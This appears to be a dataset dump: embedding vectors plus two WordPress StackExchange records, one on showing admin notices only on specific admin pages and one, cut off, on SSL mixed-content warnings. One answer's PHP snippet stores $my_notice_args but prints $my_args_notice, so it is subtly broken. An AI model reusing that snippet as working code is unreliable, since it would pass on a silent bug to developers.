0.02142333984375,
-0.013916015625,
0.01287078857421875,
-0.05792236328125,
0.08197021484375,
-0.0211639404296875,
0.081298828125,
-0.079345703125,
-0.014678955078125,
0.024169921875,
0.03369140625,
0.06207275390625,
0.004238128662109375,
-0.0252685546875,
0.007450103759765625,
0.07525634765625,
0.0357666015625,
-0.00853729248046875,
0.035858154296875,
-0.00411224365234375,
0.037017822265625,
0.051727294921875,
-0.031463623046875,
0.04046630859375,
-0.006053924560546875,
-0.0213623046875,
0.0164337158203125,
0.0130157470703125,
-0.01058197021484375,
0.004055023193359375,
0.029998779296875,
-0.10760498046875,
0.029388427734375,
0.05877685546875,
0.0400390625,
-0.00799560546875,
0.09521484375,
0.0655517578125,
-0.037445068359375,
-0.053375244140625,
-0.04144287109375,
0.04339599609375,
0.0037784576416015625,
0.00839996337890625,
0.038970947265625,
-0.00284576416015625,
0.0826416015625,
-0.00769805908203125,
-0.003719329833984375,
-0.010711669921875,
0.0189056396484375,
0.066162109375,
0.0219573974609375,
0.032989501953125,
-0.05108642578125,
0.00475311279296875,
0.03253173828125,
0.07568359375,
-0.056793212890625,
-0.020233154296875,
0.00919342041015625,
0.006092071533203125,
0.005077362060546875,
-0.0051727294921875,
0.013214111328125,
-0.002197265625,
0.00147247314453125,
-0.01666259765625,
-0.015777587890625,
0.00804901123046875,
0.029388427734375,
0.0035152435302734375,
-0.0054168701171875,
-0.016937255859375,
-0.03265380859375,
-0.01727294921875,
0.01486968994140625,
0.01373291015625,
0.054718017578125,
-0.002170562744140625,
0.0357666015625,
-0.06805419921875,
-0.01389312744140625,
-0.00315093994140625,
0.0217132568359375,
-0.00908660888671875,
-0.01059722900390625,
-0.0150299072265625,
-0.0258941650390625,
-0.005157470703125,
0.0242767333984375,
0.01433563232421875,
-0.028564453125,
0.04486083984375,
0.0771484375,
0.00583648681640625,
-0.03289794921875,
0.0213775634765625,
0.00890350341796875,
-0.002254486083984375,
-0.00583648681640625,
-0.01068878173828125,
0.024505615234375,
-0.0229034423828125,
-0.0002205371856689453,
0.034637451171875,
0.0225830078125,
-0.0002751350402832031,
0.027252197265625,
0.004642486572265625,
0.00267791748046875,
-0.00848388671875,
-0.0092926025390625,
-0.00931549072265625,
0.02294921875,
-0.10205078125,
-0.0287628173828125,
-0.04998779296875,
-0.007556915283203125,
0.06536865234375,
0.05169677734375,
-0.0028667449951171875,
0.01483917236328125,
0.0026302337646484375,
-0.0272216796875,
0.0219268798828125,
0.0030155181884765625,
-0.0019989013671875,
0.00298309326171875,
0.0170745849609375,
-0.0099945068359375,
-0.097900390625,
-0.053619384765625,
-0.00882720947265625,
0.0147552490234375,
-0.011627197265625,
0.033203125,
0.0340576171875,
-0.00749969482421875,
0.014251708984375,
0.0096588134765625,
0.0214080810546875,
-0.0259246826171875,
0.1258544921875,
-0.00009298324584960938,
-0.037322998046875,
-0.035400390625,
0.00994110107421875,
-0.0220489501953125,
0.034759521484375,
-0.04010009765625,
-0.0171661376953125,
-0.0438232421875,
0.03759765625,
-0.01119232177734375,
0.0648193359375,
0.005603790283203125,
0.024383544921875,
-0.038116455078125,
-0.045135498046875,
0.084228515625,
0.067626953125,
-0.0253448486328125,
-0.009735107421875,
-0.0010499954223632812,
-0.0236358642578125,
0.033203125,
0.00307464599609375,
0.05267333984375,
0.03662109375,
-0.0277099609375,
0.007534027099609375,
-0.0015993118286132812,
-0.0185546875,
-0.004405975341796875,
0.01000213623046875,
-0.0081939697265625,
0.00946807861328125,
-0.019866943359375,
-0.0037708282470703125,
0.0296478271484375,
0.01332855224609375,
-0.0396728515625,
-0.0020847320556640625,
0.041656494140625,
-0.019256591796875,
-0.005672454833984375,
0.01715087890625,
-0.0302276611328125,
0.0010900497436523438,
0.0028362274169921875,
-0.004241943359375,
0.0243072509765625,
0.0049591064453125,
0.0190277099609375,
0.0026416778564453125,
0.0174713134765625,
-0.00945281982421875,
0.01385498046875,
0.01158905029296875,
-0.031707763671875,
-0.039276123046875,
0.005107879638671875,
-0.034912109375,
0.005710601806640625,
0.0287322998046875,
-0.024688720703125,
-0.0047149658203125,
-0.04010009765625,
-0.0099945068359375,
-0.034515380859375,
-0.0070648193359375,
0.0139312744140625,
-0.00008565187454223633,
-0.0186309814453125,
-0.0011548995971679688,
-0.0240325927734375,
0.040496826171875,
-0.0260772705078125,
0.0009369850158691406,
0.06866455078125,
0.0121917724609375,
-0.051727294921875,
-0.099853515625,
-0.005535125732421875,
-0.03857421875,
0.049072265625,
-0.005771636962890625,
0.017425537109375,
0.034759521484375,
-0.0355224609375,
-0.0916748046875,
0.00868988037109375,
-0.0234222412109375,
-0.04620361328125,
0.018402099609375,
-0.002002716064453125,
-0.0098419189453125,
-0.051605224609375,
0.0022106170654296875,
-0.01139068603515625,
-0.00860595703125,
-0.00701904296875,
0.0164337158203125,
0.06707763671875,
0.01110076904296875,
0.0120086669921875,
-0.0297698974609375,
0.0041046142578125,
-0.023193359375,
0.03326416015625,
-0.01490020751953125,
0.0116729736328125,
0.0061187744140625,
0.040252685546875,
-0.01233673095703125,
-0.027191162109375,
-0.0090789794921875,
-0.0185089111328125,
0.00385284423828125,
-0.0267333984375,
-0.04705810546875,
-0.018646240234375,
0.047088623046875,
0.059722900390625,
0.01898193359375,
-0.0306243896484375,
-0.02301025390625,
-0.043975830078125,
-0.0267486572265625,
-0.045440673828125,
0.0253448486328125,
-0.0849609375,
-0.0221405029296875,
0.01114654541015625,
-0.00420379638671875,
-0.0316162109375,
0.00740814208984375,
-0.032958984375,
-0.01959228515625,
-0.023040771484375,
-0.019561767578125,
-0.0167236328125,
0.0182342529296875,
0.01873779296875,
-0.037353515625,
-0.050506591796875,
-0.0001233816146850586,
0.0011205673217773438,
-0.02947998046875,
-0.00862884521484375,
-0.0031948089599609375,
0.060089111328125,
-0.0447998046875,
-0.029937744140625,
0.02392578125,
-0.02557373046875,
0.004962921142578125,
0.0205535888671875,
-0.0205841064453125,
0.00547027587890625,
0.013397216796875,
0.017913818359375,
0.01399993896484375,
-0.0003821849822998047,
0.020263671875,
-0.01148223876953125,
-0.006561279296875,
0.0191650390625,
0.00756072998046875,
0.006252288818359375,
-0.007061004638671875,
-0.002986907958984375,
0.029449462890625,
-0.02728271484375,
0.0110321044921875,
0.01172637939453125,
-0.0015392303466796875,
0.01497650146484375,
-0.0196380615234375,
-0.005954742431640625,
-0.0150604248046875,
-0.00988006591796875
] |
1eeaefad4e95f3f81ec7806b59cac6654cbd9190
|
Wordpress Stackexchange
Q: How do I print a notice only on certain admin pages? I'm writing a plugin which would print a notice, but only on the media page. I found the admin_notices and all_admin_notices actions, but these are fired on all admin pages. Is there any way to find which admin page is the hook being called on from within the callback?
A: There is a global variable called $pagenow for the use within WP Admin:
global $pagenow;
if ( $pagenow == 'upload.php' ) :
function custom_admin_notice() {
echo '<div class="updated"><p>Updated!</p></div>';
}
add_action( 'admin_notices', 'custom_admin_notice' );
endif;
UPDATE: Simply include the snippet in your themes or plugins functions.php
|
Q: How do I print a notice only on certain admin pages? I'm writing a plugin which would print a notice, but only on the media page. I found the admin_notices and all_admin_notices actions, but these are fired on all admin pages. Is there any way to find which admin page is the hook being called on from within the callback?
A: There is a global variable called $pagenow for the use within WP Admin:
global $pagenow;
if ( $pagenow == 'upload.php' ) :
function custom_admin_notice() {
echo '<div class="updated"><p>Updated!</p></div>';
}
add_action( 'admin_notices', 'custom_admin_notice' );
endif;
UPDATE: Simply include the snippet in your themes or plugins functions.php
A: An alternative way is using the load-{$page} hook.
Example:
add_action('load-edit.php', 'maybe_edit_notice'); // only on edit.php paged
function maybe_edit_notice() {
// some example notices based on the get variables
// the url should be something htt://example.com/wp-admin/edit.php?done=1&error=1
if ( isset($_GET['done']) ) {
$message = isset($_GET['error']) ? 'There was an error.' : 'Everithing ok.';
$class = isset($_GET['error']) ? 'error' : 'updated';
global $my_notice_args;
$my_notice_args = compact('message', 'class');
add_action('admin_notices', 'print_my_notice');
}
}
function print_my_notice() {
global $my_notice_args;
if ( ! empty($my_notice_args) ) {
printf('<div class="%s"><p>%s</p></div>', $my_args_notice['class'], $my_args_notice['message']);
}
}
See 'admin_notices' hook docs on Codex
|
wordpress
|
{
"language": "en",
"length": 199,
"provenance": "stackexchange_00019.jsonl.gz:437413",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115155"
}
|
[
0.0367431640625,
0.01035308837890625,
-0.012237548828125,
-0.02001953125,
-0.0026988983154296875,
-0.02899169921875,
0.0085296630859375,
-0.0237274169921875,
-0.015838623046875,
0.006866455078125,
-0.0018367767333984375,
-0.00901031494140625,
-0.01450347900390625,
-0.04541015625,
0.00959014892578125,
-0.0263519287109375,
0.0165863037109375,
0.0286102294921875,
0.04571533203125,
-0.0075531005859375,
0.018890380859375,
0.01380157470703125,
-0.0029582977294921875,
0.0185089111328125,
-0.0074462890625,
0.0020732879638671875,
0.09796142578125,
-0.0411376953125,
0.023406982421875,
-0.0272064208984375,
0.016326904296875,
-0.0238189697265625,
0.0185089111328125,
0.0186920166015625,
-0.0182342529296875,
-0.033477783203125,
-0.0036525726318359375,
0.0015993118286132812,
-0.0006933212280273438,
0.0167694091796875,
0.008209228515625,
0.0099334716796875,
0.058624267578125,
0.00930023193359375,
0.0169677734375,
-0.018798828125,
0.005634307861328125,
-0.06573486328125,
-0.01611328125,
0.00063323974609375,
-0.0025653839111328125,
-0.0203857421875,
0.0003592967987060547,
0.01105499267578125,
-0.002185821533203125,
0.0007138252258300781,
-0.026519775390625,
0.0308074951171875,
0.0265045166015625,
0.0001493692398071289,
-0.0294189453125,
-0.0037746429443359375,
0.0032787322998046875,
-0.0172271728515625,
0.0038127899169921875,
-0.0084686279296875,
-0.01029205322265625,
0.0150146484375,
-0.0321044921875,
-0.028839111328125,
0.02691650390625,
-0.0209808349609375,
0.0027942657470703125,
-0.00867462158203125,
-0.03619384765625,
-0.0345458984375,
0.051544189453125,
-0.031707763671875,
-0.01320648193359375,
-0.0089111328125,
-0.002712249755859375,
0.0268402099609375,
-0.0308837890625,
0.0203857421875,
-0.004913330078125,
0.0491943359375,
-0.022552490234375,
-0.036041259765625,
-0.0218353271484375,
0.01151275634765625,
-0.037017822265625,
-0.007678985595703125,
0.01031494140625,
-0.0197601318359375,
-0.0200653076171875,
0.0019159317016601562,
0.0237579345703125,
0.08245849609375,
-0.0018606185913085938,
-0.0006175041198730469,
-0.043975830078125,
-0.01457977294921875,
-0.039337158203125,
-0.039031982421875,
0.0153350830078125,
0.0430908203125,
-0.0026950836181640625,
0.0085906982421875,
0.0290679931640625,
0.007778167724609375,
0.00527191162109375,
-0.0305633544921875,
-0.043304443359375,
0.0167694091796875,
-0.01056671142578125,
0.0024318695068359375,
-0.07183837890625,
0.00975799560546875,
-0.0379638671875,
0.015655517578125,
0.016815185546875,
0.0289764404296875,
-0.0016908645629882812,
-0.031951904296875,
-0.013519287109375,
-0.029266357421875,
-0.044464111328125,
-0.0135040283203125,
0.021209716796875,
0.0107574462890625,
-0.035552978515625,
0.02044677734375,
0.047210693359375,
-0.0254364013671875,
-0.01715087890625,
-0.00937652587890625,
0.0084686279296875,
0.032989501953125,
0.025482177734375,
-0.0258026123046875,
-0.00623321533203125,
0.016754150390625,
0.03460693359375,
-0.022430419921875,
-0.030548095703125,
0.019073486328125,
0.0151214599609375,
0.003955841064453125,
-0.034332275390625,
-0.0287017822265625,
-0.01531219482421875,
-0.017333984375,
0.03192138671875,
-0.002895355224609375,
0.016845703125,
-0.036773681640625,
0.0894775390625,
-0.062286376953125,
-0.0159759521484375,
-0.053131103515625,
0.007083892822265625,
-0.0017347335815429688,
0.0328369140625,
-0.033294677734375,
-0.050384521484375,
0.00666046142578125,
-0.06646728515625,
-0.01244354248046875,
0.019287109375,
-0.04205322265625,
0.04180908203125,
-0.02459716796875,
0.031341552734375,
0.026580810546875,
0.00982666015625,
0.03460693359375,
-0.034210205078125,
0.00020003318786621094,
0.052337646484375,
-0.03289794921875,
-0.0200958251953125,
-0.0106201171875,
0.0672607421875,
-0.01001739501953125,
-0.07916259765625,
0.0330810546875,
0.02044677734375,
0.072021484375,
0.004558563232421875,
0.0165252685546875,
0.060394287109375,
0.0164337158203125,
0.0164337158203125,
0.0169830322265625,
-0.0286712646484375,
-0.0085296630859375,
-0.0037631988525390625,
0.047088623046875,
-0.033538818359375,
-0.03436279296875,
-0.0029544830322265625,
0.0128173828125,
0.0192718505859375,
0.0229339599609375,
-0.0136566162109375,
0.03369140625,
-0.0175018310546875,
0.03204345703125,
0.0287628173828125,
0.0008025169372558594,
0.0014123916625976562,
0.0003650188446044922,
-0.0135040283203125,
-0.040924072265625,
-0.07861328125,
-0.0019350051879882812,
-0.00995635986328125,
0.0604248046875,
0.00890350341796875,
0.046234130859375,
0.014678955078125,
-0.03729248046875,
0.0208892822265625,
0.001407623291015625,
0.0203399658203125,
-0.005771636962890625,
-0.0155792236328125,
-0.0130462646484375,
0.00150299072265625,
-0.007549285888671875,
-0.026123046875,
0.04779052734375,
-0.0215301513671875,
0.0212249755859375,
-0.00711822509765625,
-0.0190887451171875,
0.0101776123046875,
-0.06890869140625,
0.029266357421875,
0.03753662109375,
0.032867431640625,
0.00482940673828125,
0.0038661956787109375,
0.046356201171875,
0.061614990234375,
-0.02227783203125,
0.0091094970703125,
0.00647735595703125,
-0.011962890625,
0.0106201171875,
-0.031768798828125,
0.00394439697265625,
0.035400390625,
-0.055908203125,
-0.0048980712890625,
0.059234619140625,
0.036224365234375,
0.021728515625,
-0.04058837890625,
0.020477294921875,
0.00925445556640625,
0.004730224609375,
-0.038543701171875,
0.0171356201171875,
-0.0034942626953125,
-0.0301513671875,
0.00717926025390625,
0.00806427001953125,
-0.0089263916015625,
-0.05426025390625,
0.0274810791015625,
0.03564453125,
-0.0020294189453125,
0.0269622802734375,
-0.0118408203125,
-0.0032939910888671875,
-0.0439453125,
0.00455474853515625,
0.020751953125,
0.002162933349609375,
-0.0237884521484375,
0.006198883056640625,
-0.0165557861328125,
-0.00978851318359375,
-0.00563812255859375,
-0.02764892578125,
0.0184173583984375,
-0.0184478759765625,
-0.0161285400390625,
-0.01776123046875,
0.0056610107421875,
0.05645751953125,
-0.00399017333984375,
0.02471923828125,
0.0029926300048828125,
-0.0012331008911132812,
-0.01275634765625,
-0.03045654296875,
0.04888916015625,
-0.044219970703125,
0.027740478515625,
0.0660400390625,
-0.0194854736328125,
0.0248870849609375,
-0.020233154296875,
0.0330810546875,
0.0062713623046875,
-0.0165252685546875,
-0.0158233642578125,
-0.0129241943359375,
-0.018951416015625,
0.0016870498657226562,
0.016448974609375,
-0.007694244384765625,
-0.003948211669921875,
-0.033538818359375,
-0.0197296142578125,
-0.01251983642578125,
-0.08404541015625,
-0.027099609375,
-0.02935791015625,
-0.062164306640625,
0.0145263671875,
0.0004761219024658203,
-0.015838623046875,
-0.00262451171875,
0.0262603759765625,
0.019073486328125,
-0.0255126953125,
0.0203399658203125,
0.0023899078369140625,
0.01103973388671875,
-0.0195159912109375,
0.018585205078125,
0.0017480850219726562,
0.019500732421875,
-0.0103912353515625,
0.11920166015625,
0.0269927978515625,
-0.0750732421875,
0.002681732177734375,
0.01503753662109375,
-0.0201568603515625,
0.034576416015625,
0.024627685546875,
-0.04144287109375,
-0.0184783935546875,
0.0199432373046875,
0.0244903564453125,
-0.018768310546875,
0.0076904296875,
-0.0198516845703125,
-0.001659393310546875,
-0.0174560546875,
0.0010051727294921875,
0.025604248046875,
0.0214691162109375,
-0.055816650390625,
-0.026519775390625,
-0.06671142578125,
-0.006610870361328125,
-0.001422882080078125,
-0.026702880859375,
0.06005859375,
-0.005279541015625,
-0.0222625732421875,
0.018707275390625,
0.03167724609375,
-0.0002543926239013672,
0.01751708984375,
-0.00047707557678222656,
0.016693115234375,
-0.0390625,
-0.01702880859375,
-0.0066070556640625,
0.0175933837890625,
-0.047454833984375,
-0.032806396484375,
0.034881591796875,
-0.026153564453125,
0.0204925537109375,
-0.01375579833984375,
0.053253173828125,
0.00213623046875,
-0.04632568359375,
0.01308441162109375,
-0.057647705078125,
0.01226043701171875,
-0.0360107421875,
0.00264739990234375,
0.0134429931640625,
0.08575439453125,
-0.041046142578125,
-0.02130126953125,
-0.038238525390625,
0.0001399517059326172,
0.01505279541015625,
-0.0311126708984375,
0.0098724365234375,
-0.0143585205078125,
-0.1163330078125,
-0.015960693359375,
-0.0079345703125,
-0.038360595703125,
-0.0103759765625,
0.052825927734375,
-0.059234619140625,
-0.053802490234375,
0.01111602783203125,
-0.037109375,
-0.01434326171875,
0.00919342041015625,
-0.046295166015625,
-0.0059356689453125,
0.0036983489990234375,
-0.0546875,
-0.0660400390625,
0.0004353523254394531,
-0.057037353515625,
0.060516357421875,
0.04986572265625,
-0.039703369140625,
0.002193450927734375,
0.02288818359375,
-0.0013780593872070312,
0.0196685791015625,
-0.01409912109375,
0.0167236328125,
-0.014404296875,
-0.0164947509765625,
-0.0029544830322265625,
-0.02484130859375,
-0.0150299072265625,
0.006900787353515625,
-0.01239776611328125,
0.030487060546875,
-0.00807952880859375,
-0.0323486328125,
0.01117706298828125,
-0.035003662109375,
-0.0670166015625,
0.0014209747314453125,
-0.01070404052734375,
0.002513885498046875,
-0.002262115478515625,
-0.0081787109375,
-0.005222320556640625,
-0.04876708984375,
-0.0242462158203125,
-0.0186309814453125,
-0.050933837890625,
0.040130615234375,
0.0235748291015625,
0.03594970703125,
0.00933074951171875,
-0.0645751953125,
0.0009765625,
0.0261688232421875,
0.0018854141235351562,
0.04180908203125,
0.037353515625,
-0.01021575927734375,
0.032745361328125,
0.01343536376953125,
-0.015716552734375,
-0.037322998046875,
0.04656982421875,
-0.0148468017578125,
-0.059326171875,
0.034271240234375,
-0.054473876953125,
0.05426025390625,
-0.019256591796875,
-0.032989501953125,
-0.01078033447265625,
-0.0276641845703125,
0.04779052734375,
-0.005901336669921875,
0.06585693359375,
-0.036041259765625,
-0.01073455810546875,
-0.01605224609375,
0.038909912109375,
0.007137298583984375,
0.031463623046875,
-0.002979278564453125,
-0.018829345703125,
0.01904296875,
0.0083770751953125,
0.050628662109375,
0.0667724609375,
-0.007415771484375,
0.02703857421875,
0.05731201171875,
-0.0115814208984375,
-0.01055145263671875,
0.0032672882080078125,
-0.02142333984375,
-0.026336669921875,
-0.048492431640625,
-0.036376953125,
-0.007678985595703125,
0.0234527587890625,
0.0209503173828125,
0.0175323486328125,
0.01049041748046875,
-0.0024700164794921875,
-0.00836181640625,
-0.002529144287109375,
0.035675048828125,
-0.0229644775390625,
-0.0245361328125,
0.0186004638671875,
-0.015380859375,
-0.006748199462890625,
0.015960693359375,
0.0284423828125,
-0.0008411407470703125,
0.01270294189453125,
-0.006351470947265625,
0.030975341796875,
0.015869140625,
0.02532958984375,
-0.0033321380615234375,
-0.0006885528564453125,
0.00278472900390625,
0.0017156600952148438,
0.01145172119140625,
-0.01422119140625,
0.0224456787109375,
0.032257080078125,
0.00981903076171875,
0.0116119384765625,
-0.0234375,
-0.01375579833984375,
-0.0084686279296875,
-0.0255889892578125,
0.041107177734375,
0.0080718994140625,
-0.03857421875,
-0.0289154052734375,
0.025634765625,
0.03948974609375,
-0.0012149810791015625,
-0.008148193359375,
0.0428466796875,
0.002346038818359375,
0.0196685791015625,
-0.0499267578125,
-0.035125732421875,
0.01763916015625,
0.046356201171875,
-0.041351318359375,
0.0017719268798828125,
0.01126861572265625,
-0.0513916015625,
-0.067626953125,
0.00946044921875,
0.007152557373046875,
0.0212554931640625,
-0.032562255859375,
0.004528045654296875,
-0.00228118896484375,
-0.0152130126953125,
-0.06671142578125,
0.0097198486328125,
0.055389404296875,
0.052398681640625,
-0.043853759765625,
-0.00229644775390625,
-0.0360107421875,
-0.02606201171875,
-0.0626220703125,
-0.037750244140625,
-0.031585693359375,
0.006748199462890625,
0.0213470458984375,
0.01160430908203125,
0.00922393798828125,
-0.00983428955078125,
-0.031982421875,
0.055023193359375,
0.055084228515625,
0.09771728515625,
0.007366180419921875,
0.049560546875,
-0.0229339599609375,
0.0428466796875,
0.01107025146484375,
0.01525115966796875,
-0.01142120361328125,
-0.024261474609375,
0.014007568359375,
-0.0184173583984375,
-0.0036792755126953125,
-0.00823211669921875,
0.003673553466796875,
-0.021881103515625,
0.004680633544921875,
-0.0019130706787109375,
0.008636474609375,
0.006565093994140625,
-0.0028057098388671875,
-0.02532958984375,
-0.026123046875,
-0.00785064697265625,
-0.0020847320556640625,
-0.00710296630859375,
-0.034423828125,
0.036773681640625,
0.0212860107421875,
-0.023956298828125,
0.03997802734375,
-0.01062774658203125,
0.055633544921875,
0.00891876220703125,
-0.01387786865234375,
0.033935546875,
0.01526641845703125,
0.0084228515625,
0.03631591796875,
0.007709503173828125,
0.03985595703125,
0.0201263427734375,
0.0313720703125,
0.051239013671875,
-0.03997802734375,
0.09698486328125,
0.0183563232421875,
-0.01296234130859375,
0.0845947265625,
-0.0362548828125,
0.0170440673828125,
0.08624267578125,
0.0633544921875,
-0.11981201171875,
0.013336181640625,
0.02191162109375,
0.0117340087890625,
0.005626678466796875,
-0.033477783203125,
-0.012542724609375,
-0.042724609375,
0.03302001953125,
0.007457733154296875,
-0.041961669921875,
-0.005947113037109375,
0.0081787109375,
-0.004116058349609375,
0.01175689697265625,
0.035400390625,
0.01361846923828125,
0.004215240478515625,
-0.050811767578125,
0.00994110107421875,
-0.0213470458984375,
0.020782470703125,
0.00829315185546875,
-0.015838623046875,
-0.03778076171875,
-0.035919189453125,
-0.006317138671875,
-0.0031375885009765625,
-0.031158447265625,
0.026519775390625,
0.0272674560546875,
0.01291656494140625,
0.05072021484375,
0.009765625,
-0.01409912109375,
0.02069091796875,
-0.0433349609375,
-0.049591064453125,
-0.020538330078125,
0.012542724609375,
0.0198974609375,
-0.05389404296875,
0.0216827392578125,
-0.0367431640625,
-0.00698089599609375,
0.0011262893676757812,
-0.0290374755859375,
0.07293701171875,
-0.04119873046875,
-0.0200653076171875,
-0.0204620361328125,
0.01043701171875,
0.024627685546875,
-0.01290130615234375,
0.0288238525390625,
-0.048126220703125,
0.01433563232421875,
-0.01198577880859375,
-0.002685546875,
-0.0440673828125,
-0.0254974365234375,
-0.068359375,
0.048309326171875,
0.019683837890625,
0.0011949539184570312,
-0.009429931640625,
0.01763916015625,
-0.0167236328125,
0.0022716522216796875,
-0.0665283203125,
0.07177734375,
0.0299530029296875,
0.041259765625,
-0.037384033203125,
0.01035308837890625,
0.0164337158203125,
-0.0174560546875,
0.0242919921875,
0.02362060546875,
-0.050933837890625,
-0.0182037353515625,
-0.0178375244140625,
0.0107879638671875,
-0.005817413330078125,
0.0660400390625,
0.0173187255859375,
0.0025577545166015625,
0.055633544921875,
0.000020265579223632812,
0.0516357421875,
-0.0283203125,
0.005367279052734375,
0.040863037109375,
0.01500701904296875,
0.0109100341796875,
0.009033203125,
-0.0037326812744140625,
-0.0249176025390625,
-0.005794525146484375,
0.0279083251953125,
-0.04193115234375,
-0.006336212158203125,
0.016204833984375,
-0.0020599365234375,
-0.033905029296875,
0.024627685546875,
-0.032440185546875,
0.03521728515625,
-0.0208587646484375,
0.01384735107421875,
0.01959228515625,
0.0137176513671875,
0.008758544921875,
-0.0017156600952148438,
-0.00047206878662109375,
0.01386260986328125,
-0.017059326171875,
0.04327392578125,
0.03387451171875,
0.0251617431640625,
-0.00997161865234375,
0.0243072509765625,
-0.0062713623046875,
0.0372314453125,
-0.043701171875,
-0.03955078125,
0.00733184814453125,
-0.0105743408203125,
0.0068206787109375,
0.0237884521484375,
0.03948974609375,
-0.02294921875,
-0.0231475830078125,
-0.034423828125,
-0.034912109375,
-0.00240325927734375,
0.059326171875,
-0.007709503173828125,
-0.0352783203125,
0.01519012451171875,
-0.07647705078125,
-0.02789306640625,
-0.01364898681640625,
0.0259552001953125,
0.04620361328125,
0.0018939971923828125,
0.03753662109375,
-0.0121307373046875,
-0.0190887451171875,
-0.0138092041015625,
-0.0032329559326171875,
-0.0273895263671875,
0.0218963623046875,
-0.04742431640625,
-0.004718780517578125,
0.0033130645751953125,
0.031768798828125,
0.0015249252319335938,
-0.0164031982421875,
0.006122589111328125,
0.003082275390625,
-0.014404296875,
-0.00806427001953125,
-0.030364990234375,
-0.0257568359375,
-0.0216217041015625,
-0.053802490234375,
-0.00580596923828125,
-0.017669677734375,
-0.006275177001953125,
0.020538330078125,
0.01593017578125,
-0.0197296142578125,
-0.0189971923828125,
-0.003551483154296875,
0.00667572021484375,
-0.054595947265625,
0.03729248046875,
0.015228271484375,
0.0721435546875,
0.0210723876953125,
-0.04736328125,
-0.01267242431640625,
-0.00997161865234375,
-0.023406982421875,
0.020843505859375,
0.033477783203125,
-0.036468505859375,
0.047607421875,
0.0384521484375,
0.038543701171875,
-0.0213623046875,
-0.00847625732421875,
-0.002361297607421875,
-0.025054931640625,
0.041290283203125,
0.0234832763671875,
0.0263824462890625,
0.00579833984375,
-0.0164642333984375,
0.04547119140625,
0.056854248046875,
0.065185546875,
-0.046112060546875,
0.0537109375,
-0.007579803466796875,
0.038787841796875,
-0.08172607421875,
-0.032257080078125,
0.022308349609375,
-0.05157470703125,
-0.00341033935546875,
0.0134735107421875,
-0.050933837890625,
0.04022216796875,
0.027191162109375,
-0.024993896484375,
0.042510986328125,
0.00164794921875,
-0.01006317138671875,
-0.0335693359375,
0.00982666015625,
-0.0041046142578125,
-0.008575439453125,
0.008880615234375,
0.01085662841796875,
0.0223388671875,
0.05322265625,
0.0076751708984375,
0.0221405029296875,
0.01137542724609375,
-0.0589599609375,
0.0023670196533203125,
-0.0435791015625,
-0.0013370513916015625,
0.051239013671875,
0.037078857421875,
0.008392333984375,
-0.006526947021484375,
-0.0186004638671875,
0.0296173095703125,
0.0037479400634765625,
0.0526123046875,
-0.0173492431640625,
0.09063720703125,
-0.021728515625,
-0.045623779296875,
0.00019252300262451172,
-0.045989990234375,
-0.01593017578125,
-0.00930023193359375,
0.01276397705078125,
-0.0128021240234375,
-0.04083251953125,
-0.01751708984375,
-0.051605224609375,
-0.00373077392578125,
0.035308837890625,
-0.02398681640625,
-0.0081634521484375,
-0.038299560546875,
-0.00101470947265625,
0.007335662841796875,
-0.00287628173828125,
-0.048675537109375,
0.0251617431640625,
-0.0179595947265625,
0.030029296875,
-0.03131103515625,
0.0284271240234375,
-0.01560211181640625,
-0.0006985664367675781,
-0.056640625,
-0.02728271484375,
-0.04248046875,
0.030303955078125,
-0.033966064453125,
0.0025806427001953125,
0.036651611328125,
-0.016326904296875,
-0.041412353515625,
0.001941680908203125,
0.0017404556274414062,
0.0552978515625,
0.0183868408203125,
-0.03594970703125,
-0.01690673828125,
0.0167999267578125,
0.02716064453125,
-0.01024627685546875,
-0.001087188720703125,
-0.0108184814453125,
-0.01288604736328125,
0.05767822265625,
-0.0211334228515625,
0.0188751220703125,
-0.0283966064453125,
-0.092529296875,
0.0063323974609375,
0.014801025390625,
-0.058135986328125,
0.02325439453125,
-0.0044097900390625,
-0.004863739013671875,
-0.01094818115234375,
0.01392364501953125,
-0.040679931640625,
-0.028076171875,
-0.00920867919921875,
0.033782958984375,
-0.0236968994140625,
0.0241241455078125,
0.034271240234375,
-0.03656005859375,
0.044219970703125,
0.03857421875,
0.007099151611328125,
-0.00974273681640625,
-0.02105712890625,
0.03173828125,
0.007152557373046875,
-0.042266845703125,
-0.0203399658203125,
0.0165863037109375,
0.020263671875,
-0.0000762939453125,
0.019134521484375,
-0.061309814453125,
-0.00677490234375,
0.0980224609375,
0.10595703125,
0.0306396484375,
-0.04901123046875,
0.041473388671875,
0.007686614990234375,
-0.032135009765625,
-0.0008544921875,
0.0165252685546875,
-0.03289794921875,
-0.0201263427734375,
0.01265716552734375,
0.0013885498046875,
-0.0136260986328125,
0.014373779296875,
-0.0123291015625,
-0.015777587890625,
0.0208282470703125,
0.01280975341796875,
-0.0218048095703125,
-0.076416015625,
0.06396484375,
-0.036895751953125,
0.004268646240234375,
0.01284027099609375,
0.032928466796875,
0.03515625,
0.044708251953125,
0.0017786026000976562,
-0.001888275146484375,
-0.052886962890625,
0.0185546875,
-0.019775390625,
0.0258941650390625,
-0.052520751953125,
-0.0249481201171875,
0.001331329345703125,
0.013458251953125,
-0.01436614990234375,
0.011199951171875,
0.028900146484375,
-0.0250396728515625,
-0.019256591796875,
0.0204620361328125,
0.00809478759765625,
0.09881591796875,
0.0017938613891601562,
0.040985107421875,
0.004711151123046875,
-0.0266265869140625,
0.03204345703125,
-0.048980712890625,
0.016021728515625,
0.0262603759765625,
0.0272369384765625,
-0.04046630859375,
0.02923583984375,
-0.006092071533203125,
0.0257568359375,
0.0196533203125
] |
2a1bf528c1f61e15669adbde43bdd7e2e5e467de
|
Wordpress Stackexchange
Q: After updating site to use SSL all images in posts point to http:// I recently upgrade my site to use SSL through a reverse proxy. I have changed the WordPress address and site address in the Settings menu and the main page loads just fine: https://www.scotthelme.co.uk
If you click through to one of my posts however you get mixed content warnings on the SSL certificate: https://www.scotthelme.co.uk/wifi-pineapple-karma-sslstrip/
I see the images on the page are still pointing to the http:// URL they were added with but I would have thought that my redirect would force them to be served over https://, this doesn't seem to be the case. Either way I'm happy to rewrite them to protocol relative URLs, I'm just not sure on the best way. How is it best to go about changing the URLs for the images in posts?
A: Installing the WordPress HTTPS plugin should take care of it.
|
Q: After updating site to use SSL all images in posts point to http:// I recently upgrade my site to use SSL through a reverse proxy. I have changed the WordPress address and site address in the Settings menu and the main page loads just fine: https://www.scotthelme.co.uk
If you click through to one of my posts however you get mixed content warnings on the SSL certificate: https://www.scotthelme.co.uk/wifi-pineapple-karma-sslstrip/
